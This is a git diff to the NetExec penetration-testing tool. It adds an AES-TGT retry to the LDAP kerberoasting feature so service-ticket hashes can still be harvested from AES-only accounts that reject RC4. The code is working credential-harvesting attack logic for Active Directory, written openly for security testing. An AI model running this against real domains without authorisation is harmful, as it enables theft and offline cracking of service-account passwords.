diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index fd034fa427..2116e5d78e 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -28,7 +28,7 @@ ) from impacket.krb5 import constants from impacket.krb5.crypto import generate_kerberos_keys -from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError +from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError, KerberosError from impacket.krb5.ccache import CCache from impacket.krb5.types import Principal, KerberosException from impacket.ldap import ldap as ldap_impacket @@ -973,6 +973,24 @@ def asreproast(self): with open(self.args.asreproast, "a+") as hash_asreproast: hash_asreproast.write(f"{hash_TGT}\n") + def _kerberoast_aes_fallback(self, e, current_tgt): + """Obtain (and cache) an AES TGT to retry kerberoasting when an AES-only account rejects the RC4 ticket.""" + if not isinstance(e, KerberosError) or e.getErrorCode() != constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: + return None + + cached = getattr(self, "_kerberoast_aes_tgt", None) + if cached is not None: + # Already using the AES TGT and it still failed: nothing more to try for this account. + return None if current_tgt is cached else cached + + if not self.password and not self.aesKey: + self.logger.fail("Target rejects RC4 (AES-only) and the current auth cannot request an AES TGT. Use password or --aesKey auth to kerberoast this account.") + return None + + self.logger.info("Target rejects RC4 (AES-only); retrying kerberoasting with an AES TGT") + self._kerberoast_aes_tgt = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache, force_aes=True) + return self._kerberoast_aes_tgt + def kerberoasting(self): if self.args.no_preauth_targets: self.roast_no_preauth() @@ -1051,14 +1069,30 @@ def kerberoasting(self): principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value principalName.components = [f"{self.targetDomain}\\{user['sAMAccountName']}"] - tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( - principalName, - self.domain, - self.kdcHost, - TGT["KDC_REP"], - TGT["cipher"], - TGT["sessionKey"], - ) + try: + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( + principalName, + self.domain, + self.kdcHost, + TGT["KDC_REP"], + TGT["cipher"], + TGT["sessionKey"], + ) + except Exception as e: + # RC4 service ticket rejected by an AES-only account (KDC_ERR_ETYPE_NOSUPP). + # Retry once with an AES TGT, mirroring the asreproast fallback behavior. + aes_tgt = self._kerberoast_aes_fallback(e, TGT) + if aes_tgt is None: + raise + TGT = aes_tgt + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( + principalName, + self.domain, + self.kdcHost, + TGT["KDC_REP"], + TGT["cipher"], + TGT["sessionKey"], + ) out = KerberosAttacks(self).output_tgs( tgs, oldSessionKey, diff --git a/nxc/protocols/ldap/kerberos.py b/nxc/protocols/ldap/kerberos.py index d5f4752074..f6d3d8bb1a 100644 --- a/nxc/protocols/ldap/kerberos.py +++ b/nxc/protocols/ldap/kerberos.py @@ -123,7 +123,7 @@ def output_tgs_from_asrep(self, asrep_blob, spn, fd=None): fd.write(entry + "\n") return entry - def get_tgt_kerberoasting(self, kcache=None): + def get_tgt_kerberoasting(self, kcache=None, force_aes=False): if kcache: if getenv("KRB5CCNAME"): self.logger.debug("KRB5CCNAME environment variable exists, attempting to use that...") @@ -152,7 +152,9 @@ def get_tgt_kerberoasting(self, kcache=None): # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the # cleartext password. # If no clear text password is provided, we just go with the defaults. - if self.password != "" and (self.lmhash == "" and self.nthash == ""): + # When force_aes is set (AES-only target rejected RC4), we skip the RC4 conversion so the KDC + # negotiates an AES TGT from the cleartext password / aesKey instead. + if self.password != "" and (self.lmhash == "" and self.nthash == "") and not force_aes: try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( user_name,